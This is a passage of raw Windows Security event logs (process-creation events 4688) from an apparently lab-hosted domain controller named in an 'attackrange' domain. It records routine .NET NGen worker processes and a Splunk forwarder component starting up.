	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 564 -Pipe 318 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254612
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2cc -InterruptEvent 0 -NGENProcess 640 -Pipe 46c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254611
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf80
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 2a8 -Pipe 324 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254610
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 46c -InterruptEvent 0 -NGENProcess 2cc -Pipe 280 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254609
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 6fc -Pipe 650 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254617
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x598
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 634 -InterruptEvent 0 -NGENProcess 78c -Pipe 408 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254616
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 640 -Pipe 274 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254615
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 2dc -Pipe 350 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254614
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 254 -InterruptEvent 0 -NGENProcess 640 -Pipe 2b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254613
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 6fc -Pipe 790 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254618
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 268 -InterruptEvent 0 -NGENProcess 640 -Pipe 240 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254624
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 0 -NGENProcess 4d0 -Pipe 27c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254623
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 624 -InterruptEvent 0 -NGENProcess 7d8 -Pipe 62c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254622
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 0 -NGENProcess 4d0 -Pipe 25c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254621
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 78c -Pipe 124 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254620
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1250
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 4d0 -Pipe 268 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254619
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 6a8 -Pipe 634 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254629
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254628
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 714 -InterruptEvent 0 -NGENProcess 794 -Pipe 258 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

